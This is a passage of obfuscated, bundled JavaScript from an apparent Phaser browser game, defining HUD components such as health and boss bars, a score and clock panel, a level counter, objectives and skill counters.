_0xf30e62 = this['scene']['rexUI']['add']['simpleLabel']({ 'text': { '$type': 'bitmaptext', 'font': 'Satoshi-Bold', 'fontSize': 0x1c } }); return _0xf30e62['resetDisplayContent']({ 'text': '-/-' }), _0xf30e62; } ['fadeOutEffect'](_0x3dd773) { this['effectImage']['alpha'] = 0x1, this['fadeTween'] && this['scene']['tweens']['remove'](this['fadeTween']), this['fadeTween'] = this['scene']['tweens']['add']({ 'targets': this['effectImage'], 'alpha': 0x0, 'duration': _0x3dd773, 'ease': 'Quad.EaseOut', 'repeat': 0x0, 'onComplete': () => { this['fadeTween'] && this['scene']['tweens']['remove'](this['fadeTween']); } }); } ['blink']() { if (this['currentColors']['length'] < 0x2) return; this['currentColorIndex']++, this['currentColorIndex'] >= this['currentColors']['length'] && (this['currentColorIndex'] = 0x0), this['fillImage']['setTint'](this['currentColors'][this['currentColorIndex']] ?? 0xffffff); const _0x542a55 = this['config']['blinkIntervalMS'] ?? 0x96; this['gameContext']?.['timeProvider']?.['delayAction'](() => this['blink'](), _0x542a55); } } _0x5446d2['BarElement'] = _0x54cd3c; }, 0x1250: (_0x3783d3, _0x5c6f49, _0x526193) => { 'use strict'; Object['defineProperty'](_0x5c6f49, '__esModule', { 'value': !0x0 }), _0x5c6f49['BossPanelElement'] = void 0x0; const _0x4687bc = _0x526193(0xb6), _0x573647 = _0x526193(0x1724); class _0x3e9a7f extends _0x573647['UiElement']{ ['hpBar']; constructor(_0x13c9b5) { super(_0x13c9b5), this['setup'](), this['setupListeners'](); } ['destroy']() { this['element']['destroy'](!0x0), this['hpBar']['destroy'](); } ['setup']() { this['hpBar'] = this['createHpBar'](), this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'x': this['scene']['scale']['width'] / 0x2, 'y': this['scene']['scale']['height'] + 0x64 })['add'](this['hpBar']['element'])['layout']()['setVisible'](!0x1); } ['setupListeners']() { this['gameMessageBus']['subscribe'](this, 'updateBoss', _0x56601f => { switch (_0x56601f['state']) { case 'SETUP_UI': this['onBossSetupUI'](_0x56601f); break; case 'TRANSITION_TO_PHASE_2_AWAKENING_BEGINS': this['onBossTransitionToPhase2AwakeningBegins'](_0x56601f); break; case 'DYING_FALLING': this['onBossDyingFalling'](); }void 0x0 !== _0x56601f['hp'] && this['setValue'](_0x56601f['hp']), void 0x0 !== _0x56601f['maxHp'] && this['setMaxValue'](_0x56601f['maxHp']); }); } ['onBossSetupUI'](_0x44c6b9) { this['slideIn'](), this['gameContext']['timeProvider']['delayRenderAction'](() => { this['rechargeHpBar'](this['hpBar']['config']['maxValue']); }, 0x3e8); } ['onBossTransitionToPhase2AwakeningBegins'](_0x12e426) { this['rechargeHpBar'](this['hpBar']['config']['maxValue']); } ['onBossDyingFalling']() { this['slideOut'](); } ['slideIn']() { this['element']['visible'] = !0x0, this['scene']['tweens']['add']({ 'targets': this['element'], 'y': '-=160', 'duration': 0x3e8, 'ease': 'Quad.easeOut' }); } ['slideOut']() { this['scene']['tweens']['add']({ 'targets': this['element'], 'y': '+=130', 'duration': 0x3e8, 'ease': 'Quad.easeIn', 'onComplete': () => { this['element']['visible'] = !0x1; } }); } ['rechargeHpBar'](_0x3ca880) { const _0x1f31c4 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': _0x3ca880, 'duration': 0x7d0, 'onUpdate': _0x4ebc96 => { this['hpBar']['setValue'](_0x4ebc96['getValue']()); }, 'onComplete': () => { this['gameContext']['timeProvider']['delayRenderAction'](() => { this['hpBar']['flash']({ 'gain': !0x0, 'durationMS': 0x1f4 }), this['scene']['tweens']['remove'](_0x1f31c4); }); } }); } ['setMaxValue'](_0x10f37b) { this['hpBar']['setMaxValue'](_0x10f37b); } ['setValue'](_0x512687) { this['hpBar']['setValue'](_0x512687); } ['createHpBar']() { const _0x428808 = { 'colorThresholds': { 0x1a: [0xff4444, 0xff8888], 0x64: 0xff4444 }, 'maxValue': 0x64 }, _0xcda2c6 = new _0x4687bc['BarElement']({ ...this['config'], ..._0x428808, 'texturePath': 'atlas/hud', 'barBgFrameName': 'ui_hud/bossBarBg', 'barFillFrameName': 'ui_hud/bossBarFill', 'barEffectFrameName': 'ui_hud/bossBarFill', 'renderValue': !0x1, 'effectGainTint': 0xffffff, 'effectLossTint': 0xff7777, 'bgTint': 0xaaaaaa }); return _0xcda2c6['setMaxValue'](_0x428808['maxValue'])['setValue'](0x0), _0xcda2c6; } } _0x5c6f49['BossPanelElement'] = _0x3e9a7f; }, 0x1fc3: (_0xe75ff0, _0x20f642, _0xcbca3f) => { 'use strict'; Object['defineProperty'](_0x20f642, '__esModule', { 'value': !0x0 }), _0x20f642['HudComponent'] = void 0x0; const _0x32559a = _0xcbca3f(0x1709), _0x4a4ea4 = _0xcbca3f(0x1250), _0x1d0507 = _0xcbca3f(0x70e), _0xe720ee = _0xcbca3f(0x251b), _0x48d861 = _0xcbca3f(0x1d55), _0x18863e = _0xcbca3f(0x152b); class _0x498233 extends _0x32559a['SceneComponent']{ ['playerPanel'];['bossPanelElement'];['skillsPanel'];['objectivesPanel'];['infoPanel'];['photoModeSubscription'] = ({ oldValue: _0x4a6260, newValue: _0x4c2185 }) => { this['setVisible'](!_0x4c2185); };['onCreate']() { this['playerPanel'] = new _0x48d861['PlayerPanelElement']({ ...this['config'] }), this['bossPanelElement'] = new _0x4a4ea4['BossPanelElement']({ ...this['config'] }), this['skillsPanel'] = new _0x18863e['SkillsPanelElement']({ ...this['config'] }), this['objectivesPanel'] = new _0xe720ee['ObjectivesElement']({ ...this['config'] }), this['infoPanel'] = new _0x1d0507['InfoPanelElement']({ ...this['config'] }), this['setVisible'](!0x1), this['gameContext']['subscribeToGameStore']('photoModeEnabled', this['photoModeSubscription']), this['gameMessageBus']['subscribe'](this, 'playerDead', () => this['initiateDeathDarkening']()), this['gameMessageBus']['subscribe'](this, 'setHudVisibility', _0x3b51ac => this['setVisible'](_0x3b51ac)); } ['destroy']() { this['playerPanel']['destroy'](), this['skillsPanel']['destroy'](), this['objectivesPanel']['destroy'](), this['infoPanel']['destroy'](), this['bossPanelElement']['destroy'](), this['gameContext']['unsubscribeFromGameStore']('photoModeEnabled', this['photoModeSubscription']), this['gameMessageBus']['unsubscribeByOwner'](this); } ['updateFeatures'](_0x34d2ae) { this['infoPanel']['update'](_0x34d2ae); } ['initiateDeathDarkening']() { const _0x3e85f8 = this['scene']['tweens']['add']({ 'targets': { 'value': 0x1 }, 'value': 0.1, 'duration': 0x3e8, 'onComplete': () => { this['scene']['tweens']['remove'](_0x3e85f8); }, 'onUpdate': _0x433605 => { const _0x5c2423 = _0x433605['getValue'](); this['playerPanel']['setAlpha'](_0x5c2423), this['skillsPanel']['setAlpha'](_0x5c2423), this['objectivesPanel']['setAlpha'](_0x5c2423), this['infoPanel']['setAlpha'](_0x5c2423); } }); } ['setVisible'](_0x4071a0) { this['playerPanel']['setVisible'](_0x4071a0), this['skillsPanel']['setVisible'](_0x4071a0), this['objectivesPanel']['setVisible'](_0x4071a0), this['infoPanel']['setVisible'](_0x4071a0); } } _0x20f642['HudComponent'] = _0x498233; }, 0x70e: (_0x1b8723, _0x1dc60f, _0x20990a) => { 'use strict'; Object['defineProperty'](_0x1dc60f, '__esModule', { 'value': !0x0 }), _0x1dc60f['InfoPanelElement'] = void 0x0; const _0x4f3995 = _0x20990a(0x247a), _0x510839 = _0x20990a(0x1724), _0x49a432 = _0x20990a(0x138a), _0x280624 = _0x20990a(0x16d0); class _0x1a7805 extends _0x510839['UiElement']{ ['mapTitleLabel'];['clockLabel'];['scoreBackgroundImage'];['scoreIcon'];['scoreLabel'];['levelCounterElement'];['secondCounterMS'] = 0x0;['updateScoreSubscription'] = ({ oldValue: _0x443196, newValue: _0xb5dda2 }) => this['maybeUpdateScore'](_0xb5dda2);['updatePanelSubscription'] = ({ oldValue: _0x3718fd, newValue: _0x4b135e }) => this['updateInfoPanel'](_0x4b135e); constructor(_0x272342) { super(_0x272342), this['setup'](), this['gameContext']['subscribeToGameStore']('runState', this['updatePanelSubscription']), this['gameContext']['subscribeToGameStore']('runState', this['updateScoreSubscription']); } ['destroy']() { this['mapTitleLabel']['destroy'](!0x0), this['clockLabel']['destroy'](!0x0), this['scoreBackgroundImage']['destroy'](!0x0), this['scoreIcon']['destroy'](!0x0), this['scoreLabel']['destroy'](!0x0), this['element']['destroy'](!0x0), this['gameContext']['unsubscribeFromGameStore']('runState', this['updatePanelSubscription']), this['gameContext']['unsubscribeFromGameStore']('runState', this['updateScoreSubscription']); } ['setVisible'](_0x277075) { this['element']['setVisible'](_0x277075); } ['setAlpha'](_0x6c9c3) { this['element']['setAlpha'](_0x6c9c3); } ['update'](_0x4fe17d) { if (this['secondCounterMS'] += 0x3e8 * _0x4fe17d, this['secondCounterMS'] < 0x3e8) return; this['secondCounterMS'] = 0x0; const _0x50a5a0 = this['gameContext']['getFromGameStore']('runState'), _0xe18985 = _0x50a5a0['levelStates'][_0x50a5a0['currentLevelIndex']]['levelTimeMS'] + this['gameContext']['timeProvider']['currentEngineTime']; this['clockLabel']['resetDisplayContent']({ 'text': '' + (0x0, _0x280624['formatTime'])(_0xe18985) }), this['element']['layout'](); } ['setup']() { const _0x5caf01 = this['createLeftPanel'](), _0x2ee13b = this['createRightPanel'](); this['element'] = this['createMainElement']()['add'](_0x5caf01, { 'align': 'left-top', 'expand': !0x1, 'padding': { 'top': 0xf, 'left': 0xf } })['add'](_0x2ee13b, { 'align': 'right-top', 'expand': !0x1, 'padding': { 'top': 0xf, 'right': 0xf } })['layout'](); } ['createLeftPanel']() { this['mapTitleLabel'] = this['createLabel']('Satoshi-Bold', 0x1e)['resetDisplayContent']({ 'text': 'Map:\x20' }), this['clockLabel'] = this['createLabel']('Satoshi-Bold', 0x1e)['resetDisplayContent']({ 'text': '--:--' }), this['levelCounterElement'] = new _0x4f3995['LevelCounterElement']({ ...this['config'], 'texturePath': 'atlas/hud', 'iconEmptyPath': 'ui_hud/levelCounterIconEmpty', 'iconCompletePath': 'ui_hud/levelCounterIconCompleted', 'iconFailedPath': 'ui_hud/levelCounterIconFailed', 'iconInProgressPath': 'ui_hud/levelCounterIconInProgress' }); const _0x2644d6 = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0x1e } })['add'](this['mapTitleLabel'], { 'align': 'left' })['add'](this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'width': 0x56 })['add'](this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x49a432['getFrame'])(this['config']['gameContext'], 'ui_hud/timer'))['setDisplaySize'](0x18, 0x18), { 'align': 'left' })['addSpace']()['add'](this['clockLabel'], { 'align': 'left', 'padding': { 'left': 0xc, 'right': 0x0 } }), { 'align': 'right' })['layout'](); return this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y', 'space': { 'item': 0x8 } })['add'](_0x2644d6, { 'expand': !0x1, 'align': 'left-top' })['add'](this['levelCounterElement']['element'], { 'expand': !0x1, 'align': 'left-top' })['layout'](); } ['createRightPanel']() { return this['scoreBackgroundImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x49a432['getFrame'])(this['gameContext'], 'ui_hud/scoreContainer')), this['scoreIcon'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x49a432['getFrame'])(this['gameContext'], 'ui_hud/orb'))['setScale'](0.45), this['scoreLabel'] = this['createScoreLabel'](), this['scene']['rexUI']['add']['overlapSizer']({ 'width': 0x64, 'height': 0x32 })['add'](this['scoreBackgroundImage'], { 'expand': !0x1, 'align': 'left-center' })['add'](this['scoreIcon'], { 'expand': !0x1, 'align': 'left-center', 'padding': { 'left': -0x1e } })['add'](this['scoreLabel'], { 'expand': !0x1, 'align': 'right-center', 'padding': { 'right': 0xa } })['layout'](); } ['createMainElement']() { return this['scene']['rexUI']['add']['overlapSizer']({ 'x': 0x0, 'y': 0x0, 'width': this['scene']['scale']['width'], 'height': this['scene']['scale']['height'] })['setOrigin'](0x0)['layout'](); } ['createLabel'](_0x3cbd89, _0x1bab0f) { return this['scene']['rexUI']['add']['simpleLabel']({ 'text': { '$type': 'bitmaptext', 'font': _0x3cbd89, 'fontSize': _0x1bab0f } })['resetDisplayContent']({ 'text': '0' }); } ['updateInfoPanel'](_0x1c6d64) { if (0x0 === this['mapTitleLabel']['getChildren']()['length']) return; const _0x16dfb4 = _0x1c6d64['levelStates'][_0x1c6d64['currentLevelIndex']]['levelName']; this['mapTitleLabel']['resetDisplayContent']({ 'text': '' + (_0x16dfb4 || 'Regio\x20innominata') }), this['element']['layout'](); } ['createScoreLabel']() { const _0x3dc8d5 = this['scene']['rexUI']['add']['simpleLabel']({ 'text': { '$type': 'bitmaptext', 'font': 'Satoshi-Medium', 'fontSize': 0x1c } }); return _0x3dc8d5['resetDisplayContent']({ 'text': '0' }), _0x3dc8d5; } ['maybeUpdateScore'](_0xfffabb) { const _0x2018b7 = [..._0xfffabb['levelStates']], _0x9386c9 = _0xfffabb['currentLevelIndex']; if (0x0 === this['scoreLabel']['getAllChildren']()['length']) return; const _0xcccd45 = _0x2018b7['slice'](0x0, _0x9386c9 + 0x1)['reduce']((_0x23ba7d, _0x375632) => _0x23ba7d + (_0x375632['inventory']['energy'] || 0x0), 0x0); this['scoreLabel']['resetDisplayContent']({ 'text': '' + _0xcccd45 }), this['element']['layout'](); } } _0x1dc60f['InfoPanelElement'] = _0x1a7805; }, 0x247a: (_0x590bfc, _0x995265, _0x1cd7eb) => { 'use strict'; Object['defineProperty'](_0x995265, '__esModule', { 'value': !0x0 }), _0x995265['LevelCounterElement'] = void 0x0; const _0x244d22 = _0x1cd7eb(0x1724), _0x2e6a29 = _0x1cd7eb(0x138a); class _0x27110a extends _0x244d22['UiElement']{ ['icons'] = [];['updateValueSubscription'] = ({ oldValue: _0x4e9890, newValue: _0x2110d2 }) => this['updateLevelCounter'](_0x2110d2); constructor(_0x27e082) { super(_0x27e082), this['setup'](), this['gameContext']['subscribeToGameStore']('runState', this['updateValueSubscription']), this['scene']['events']['on']('shutdown', () => this['gameContext']['unsubscribeFromGameStore']('runState', this['updateValueSubscription'])), this['scene']['events']['on']('destroy', () => this['gameContext']['unsubscribeFromGameStore']('runState', this['updateValueSubscription'])); } ['destroy']() { this['icons']['forEach'](_0xdaf7ae => _0xdaf7ae['destroy'](!0x0)), this['element']['destroy'](!0x0); } ['updateLevelCounter'](_0x37d877) { const _0x26e8ba = _0x37d877['levelSequence']['length'], _0x277825 = _0x37d877['currentLevelIndex'], _0x127673 = _0x37d877['playerState']['currentHealth'] <= 0x0, _0x516138 = _0x37d877['levelStates'][_0x277825]['finished'] && !_0x127673, _0x3084ca = _0x127673; for (; this['icons']['length'] < _0x26e8ba;) { const _0x38b3b2 = this['scene']['add']['image'](0x0, 0x0, this['config']['texturePath'], (0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconEmptyPath'])); this['icons']['push'](_0x38b3b2), this['element']['add'](_0x38b3b2); } this['icons']['forEach']((_0x12c43c, _0x30d383) => { _0x30d383 < _0x277825 ? _0x12c43c['setFrame']((0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconCompletePath'])) : _0x30d383 === _0x277825 ? _0x516138 ? _0x12c43c['setFrame']((0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconCompletePath'])) : _0x3084ca ? _0x12c43c['setFrame']((0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconFailedPath'])) : _0x12c43c['setFrame']((0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconInProgressPath'])) : _0x12c43c['setFrame']((0x0, _0x2e6a29['getFrame'])(this['gameContext'], this['config']['iconEmptyPath'])); }); } ['setup']() { this['element'] = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0x6 } }); } } _0x995265['LevelCounterElement'] = _0x27110a; }, 0x251b: (_0x375fd6, _0x54c07e, _0x1d332d) => { 'use strict'; Object['defineProperty'](_0x54c07e, '__esModule', { 'value': !0x0 }), _0x54c07e['ObjectivesElement'] = void 0x0; const _0x4d6b5c = _0x1d332d(0x1724), _0x533424 = _0x1d332d(0x138a); class _0x5c9c1d extends _0x4d6b5c['UiElement']{ ['objectivesContainer'];['mainObjectiveLabel'];['objectivesBgImage'];['objectives'] = {}; constructor(_0x50d25b) { super(_0x50d25b), this['setup'](), this['gameMessageBus']['subscribe'](this, 'registerObjective', ({ name: _0x391e3b, objective: _0x323fb7 }) => this['registerObjective'](_0x391e3b, _0x323fb7)), this['gameMessageBus']['subscribe'](this, 'progressObjective', ({ name: _0x2793ca, completionPoints: _0xf6206, setCompletionPoints: _0x2f95d1 }) => this['progressObjective'](_0x2793ca, _0xf6206, _0x2f95d1)); } ['destroy']() { this['objectivesBgImage']['destroy'](!0x0), this['objectivesContainer']['destroy'](!0x0), this['element']['destroy'](!0x0), this['gameMessageBus']['unsubscribeByOwner'](this); } ['setVisible'](_0x2493f8) { const _0x2405aa = Object['keys'](this['objectives'])['length'] > 0x0; this['element']['setVisible'](_0x2493f8 && _0x2405aa), this['objectivesBgImage']['setVisible'](_0x2493f8 && _0x2405aa); } ['setAlpha'](_0x3dad0b) { this['element']['setAlpha'](_0x3dad0b), this['objectivesBgImage']['setAlpha'](_0x3dad0b); } ['setup']() { this['objectivesBgImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x533424['getFrame'])(this['gameContext'], 'ui_hud/objectivesContainer'))['setVisible'](!0x1), this['mainObjectiveLabel'] = this['createLabel']('Satoshi-Bold', 0x19, 0xfeb302)['resetDisplayContent']({ 'text': '' })['setOrigin'](0x0), this['objectivesContainer'] = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y', 'space': { 'item': 0x5 } })['add'](this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y' }))['add'](this['mainObjectiveLabel'])['layout'](), this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'anchor': { 'left': '0%+15', 'top': '0%+96' }, 'width': this['objectivesBgImage']['width'], 'height': this['objectivesBgImage']['height'] })['add'](this['objectivesBgImage'], { 'align': 'left-top' })['add'](this['objectivesContainer'], { 'align': 'left-center', 'padding': { 'left': 0x1e, 'top': -0xa }, 'expand': !0x1 })['setOrigin'](0x0)['layout'](); } ['createLabel'](_0x258cb6, _0x11b0e3, _0x3616d5) { const _0x1affc9 = this['scene']['rexUI']['add']['simpleLabel']({ 'text': { '$type': 'bitmaptext', 'font': _0x258cb6, 'fontSize': _0x11b0e3 } })['resetDisplayContent']({ 'text': '0' }); return void 0x0 !== _0x3616d5 && _0x1affc9['getElement']('text')['setTint'](_0x3616d5), _0x1affc9; } ['createObjectiveGoalSizer'](_0x3bb29d, _0x5d5dd7) { const _0x4a8b1a = this['createLabel']('Satoshi-Bold', 0x14)['resetDisplayContent']({ 'text': _0x3bb29d }), _0x1357b5 = this['createLabel']('Satoshi-Bold', 0x14)['resetDisplayContent']({ 'text': _0x5d5dd7 }); return { 'sizer': this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0xa } })['add'](_0x4a8b1a)['add'](_0x1357b5)['layout'](), 'titleLabel': _0x4a8b1a, 'valueLabel': _0x1357b5 }; } ['progressObjective'](_0x573a81, _0x3cd29f, _0x9d450b) { const _0x546c4f = this['objectives'][_0x573a81]; if (!_0x546c4f || !_0x546c4f['objectiveValues']['showOnObjectiveList']) return; const _0x3d1322 = _0x3cd29f === _0x546c4f['objectiveValues']['completionPointsToCompleteObjective']; (_0x546c4f['objectiveValues']['hideWhenCompleted'] ?? !0x1) && _0x3d1322 && delete this['objectives'][_0x573a81], this['updateObjectivesGoalsText'](_0x546c4f['objectiveValues'], this['calculateNewValue'](_0x546c4f['objectiveValues'], _0x3cd29f, _0x9d450b)); } ['registerObjective'](_0x37dcaf, _0x32b96d) { _0x32b96d['isPrimaryObjective'] ? this['registerMainObjective'](_0x37dcaf, _0x32b96d) : this['registerObjectiveGoal'](_0x37dcaf, _0x32b96d); } ['registerObjectiveGoal'](_0x303aa8, _0x4f267f) { if (!_0x4f267f['showOnObjectiveList']) return; const { sizer: _0x1bba32, titleLabel: _0xd5a4e2, valueLabel: _0x5d0140 } = this['createObjectiveGoalSizer'](this['getObjectiveDisplayText'](_0x303aa8), '0'); this['objectives'][_0x303aa8] = { 'objectiveValues': _0x4f267f, 'objectiveTitleLabel': _0xd5a4e2, 'objectiveValueLabel': _0x5d0140 }, this['objectivesContainer']['add'](_0x1bba32, { 'align': 'left' }), this['updateObjectivesGoalsText'](_0x4f267f, _0x4f267f['currentCompletionPoints']), this['element']['layout'](); } ['registerMainObjective'](_0x29b260, _0xa7f962) { this['mainObjectiveLabel']['resetDisplayContent']({ 'text': _0xa7f962['objectiveDescriptionMessage']?.['toUpperCase']() }), this['element']['layout'](), this['setVisible'](!0x0); } ['calculateNewValue'](_0x5c4c64, _0x4bec7f, _0x1ae720) { if (_0x1ae720) return _0x4bec7f; return _0x5c4c64['initialObjectiveCompletionPoints'] > _0x5c4c64['completionPointsToCompleteObjective'] ? _0x5c4c64['currentCompletionPoints'] - _0x4bec7f : _0x5c4c64['currentCompletionPoints'] + _0x4bec7f; } ['updateObjectivesGoalsText'](_0x4b9591, _0x36c7d5) { for (const _0x2a9112 in this['objectives']) { const _0x27f47c = this['objectives'][_0x2a9112], _0x38d30a = _0x27f47c['objectiveValues']['displayAsPercentage'] ?? !0x1; let _0x4ff155 = _0x4b9591 === _0x27f47c['objectiveValues'] ? _0x36c7d5 : _0x27f47c['objectiveValues']['currentCompletionPoints']; if (_0x38d30a) { const _0xaf7875 = _0x27f47c['objectiveValues']['initialObjectiveCompletionPoints'] > _0x27f47c['objectiveValues']['completionPointsToCompleteObjective'] ? _0x27f47c['objectiveValues']['initialObjectiveCompletionPoints'] : _0x27f47c['objectiveValues']['completionPointsToCompleteObjective']; _0x4ff155 = Math['round'](_0x4ff155 / _0xaf7875 * 0x64); } const _0x2501f0 = _0x38d30a ? _0x4ff155 + '\x20%' : _0x4ff155['toString'](); _0x27f47c['objectiveTitleLabel']['resetDisplayContent']({ 'text': this['getObjectiveDisplayText'](_0x2a9112) }), _0x27f47c['objectiveValueLabel']['resetDisplayContent']({ 'text': _0x2501f0 }); } this['element']['layout'](); } ['getObjectiveDisplayText'](_0x5d979f) { return this['objectives'][_0x5d979f]?.['objectiveValues']?.['objectiveDescriptionMessage'] ?? _0x5d979f ?? '[UNNAMED]'; } } _0x54c07e['ObjectivesElement'] = _0x5c9c1d; }, 0x1d55: (_0x2a30c9, _0x24eb0f, _0x15d01e) => { 'use strict'; Object['defineProperty'](_0x24eb0f, '__esModule', { 'value': !0x0 }), _0x24eb0f['PlayerPanelElement'] = void 0x0; const _0x452652 = _0x15d01e(0xb6), _0x4feb8e = _0x15d01e(0x1724), _0x41eee7 = _0x15d01e(0x138a); class _0x54e82e extends _0x4feb8e['UiElement']{ ['hpBar'];['chargeBar'];['cornerScrimImage'];['counterConfig']; constructor(_0x4a259a) { super(_0x4a259a), this['setup'](), this['counterConfig'] = { 'health': { 'multiplier': 0xa, 'bar': this['hpBar'] }, 'skill1': { 'multiplier': 0x1, 'bar': this['chargeBar'] } }, this['gameMessageBus']['subscribe'](this, 'updateCounter', _0x26c681 => this['maybeUpdateCounter'](_0x26c681)); } ['destroy']() { this['hpBar']['destroy'](), this['element']['destroy'](!0x0), this['gameMessageBus']['unsubscribeByOwner'](this); } ['setVisible'](_0x304226) { this['element']['setVisible'](_0x304226), this['hpBar']['setVisible'](_0x304226); } ['setAlpha'](_0x48ac6c) { this['element']['setAlpha'](_0x48ac6c), this['hpBar']['setAlpha'](_0x48ac6c); } ['setup']() { this['cornerScrimImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x41eee7['getFrame'])(this['gameContext'], 'ui_hud/cornerScrim'))['setOrigin'](0x0, 0x1), this['hpBar'] = this['createHpBar'](), this['chargeBar'] = this['createChargeBar'](); const _0x3b5b3c = this['scene']['rexUI']['add']['overlapSizer']({ 'anchor': { 'left': '0%', 'bottom': '100%' } })['add'](this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y' })['add'](this['hpBar']['element'])['add'](this['chargeBar']['element']), { 'align': 'left-bottom', 'expand': !0x1, 'padding': { 'left': 0xf, 'bottom': 0xf } })['layout'](); this['element'] = this['scene']['rexUI']['add']['overlapSizer']({ 'anchor': { 'left': '0%', 'bottom': '100%' } })['add'](_0x3b5b3c)['add'](this['cornerScrimImage'])['layout'](); } ['maybeUpdateCounter'](_0x447e22) { const _0x37a815 = this['counterConfig'][_0x447e22['counterName']]; if (!_0x37a815) return; const _0x212016 = _0x447e22['value']['max'] * _0x37a815['multiplier'], _0x4b6d84 = _0x447e22['value']['current'] * _0x37a815['multiplier']; _0x37a815['bar']['setMaxValue'](_0x212016), _0x37a815['bar']['setValue'](_0x4b6d84), this['element']['layout'](); } ['createHpBar']() { const _0x4cb6cb = { 'colorThresholds': { 0x1a: [0xff4444, 0xff8888], 0x64: 0xff4444 }, 'maxValue': 0x64 }, _0x1f25a6 = new _0x452652['BarElement']({ ...this['config'], ..._0x4cb6cb, 'texturePath': 'atlas/hud', 'barBgFrameName': 'ui_hud/hpBarBg', 'barFillFrameName': 'ui_hud/hpBarBg', 'barEffectFrameName': 'ui_hud/hpBarBg', 'renderValue': !0x0 }); return _0x1f25a6['setMaxValue'](_0x4cb6cb['maxValue'])['setValue'](0x64), _0x1f25a6; } ['createChargeBar']() { const _0x5d8156 = { 'colorThresholds': { 0x64: 0xffaa00 }, 'maxValue': 0x64, 'scale': { 'x': 0x1, 'y': 0.4 } }, _0x5e302b = new _0x452652['BarElement']({ ...this['config'], ..._0x5d8156, 'texturePath': 'atlas/hud', 'barBgFrameName': 'ui_hud/chargeBarBg', 'barFillFrameName': 'ui_hud/chargeBarBg', 'barEffectFrameName': 'ui_hud/chargeBarBg', 'renderValue': !0x0 }); return _0x5e302b['setMaxValue'](_0x5d8156['maxValue'])['setValue'](0x64), _0x5e302b; } } _0x24eb0f['PlayerPanelElement'] = _0x54e82e; }, 0xc18: (_0x4747da, _0x2440a0, _0x36f26d) => { 'use strict'; Object['defineProperty'](_0x2440a0, '__esModule', { 'value': !0x0 }), _0x2440a0['SkillCounterElement'] = void 0x0; const _0x119aac = _0x36f26d(0x13a9), _0x3ce286 = _0x36f26d(0x1724), _0x266d03 = _0x36f26d(0x138a), _0x772b1 = _0x36f26d(0x21d4), _0x2697b4 = 0x44ff66, _0xf21fe1 = 0xff4444; class _0x2eb21b extends _0x3ce286['UiElement']{ ['iconImage'];['iconInactiveImage'];['flashEffectImage'];['containerImage'];['cooldownFillImage'];['keybindBgImage'];['valueLabel'];['keyBindLabel']; constructor(_0x2dd91e) { super(_0x2dd91e), this['setup'](); } ['maybeSetValue'](_0x5229c5) { this['usesThisAmmo'](_0x5229c5) && (this['config']['renderCooldown'] ? this['maybeSetValueCooldownType'](_0x5229c5) : this['maybeSetValueCounterType'](_0x5229c5)); } ['updateKeybinds'](_0x3adc3a) { const _0x474500 = (0x0, _0x119aac['assembleText'])(this['config']['keybindText'], _0x3adc3a)['replaceAll']('[', '')['replaceAll'](']', ''); this['keyBindLabel']['resetDisplayContent']({ 'text': _0x474500 }); const _0xf09768 = _0x3adc3a['inputType'] === _0x772b1['EInputType']['KEYBOARD'] ? 0x0 : 0xffffff, _0x39a7e0 = _0x3adc3a['inputType'] === _0x772b1['EInputType']['KEYBOARD'] ? 0x1 : 0x0; this['keyBindLabel']['getElement']('text')['setTint'](_0xf09768), this['keybindBgImage']['alpha'] = _0x39a7e0; } ['destroy']() { this['containerImage']['destroy'](!0x0), this['cooldownFillImage']['destroy'](!0x0), this['iconImage']['destroy'](!0x0), this['valueLabel']['destroy'](!0x0), this['keyBindLabel']['destroy'](!0x0), this['keybindBgImage']['destroy'](!0x0), this['element']['destroy'](!0x0); } ['setup']() { this['element'] = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y' }), this['iconImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x266d03['getFrame'])(this['gameContext'], this['config']['iconPath'])), this['iconInactiveImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x266d03['getFrame'])(this['gameContext'], this['config']['iconInactivePath']))['setTint'](0x666666)['setVisible'](!0x1), this['cooldownFillImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x266d03['getFrame'])(this['gameContext'], 'ui_hud/skillFrameFill'))['setVisible'](!0x1), this['flashEffectImage'] = this['scene']['add']['sprite'](0x0, 0x0, 'atlas/hud', (0x0, _0x266d03['getFrame'])(this['gameContext'], 'ui_hud/skillFrameFillEffect'))['setAlpha'](0x0), this['containerImage'] = this['scene']['add']['image'](0x0, 0x0, 'atlas/hud', (0x0, _0x266d03['getFrame'])(this['gameContext'], this['config']['iconFramePath'])), this['keybindBgImage'] = this['scene']['rexUI']['add']['roundRectangle'](0x0, 0x0, 0x0, 0x0, 0x3, 0xfcfcfc), this['valueLabel'] = this['createLabel']('Satoshi-Medium', 0x1c), this['keyBindLabel'] = this['createLabel']('Satoshi-Medium', 0x14), this['iconImage']['width'] = this['containerImage']['width'], this['iconImage']['height'] = this['containerImage']['height'], this['element']['width'] = this['containerImage']['width'], this['element']['height'] = this['containerImage']['height'], this['element']['add'](this['scene']['rexUI']['add']['overlapSizer']()['add'](this['cooldownFillImage'])['add'](this['flashEffectImage'])['add'](this['iconImage'])['add'](this['iconInactiveImage'])['add'](this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y' })['add'](this['valueLabel'], { 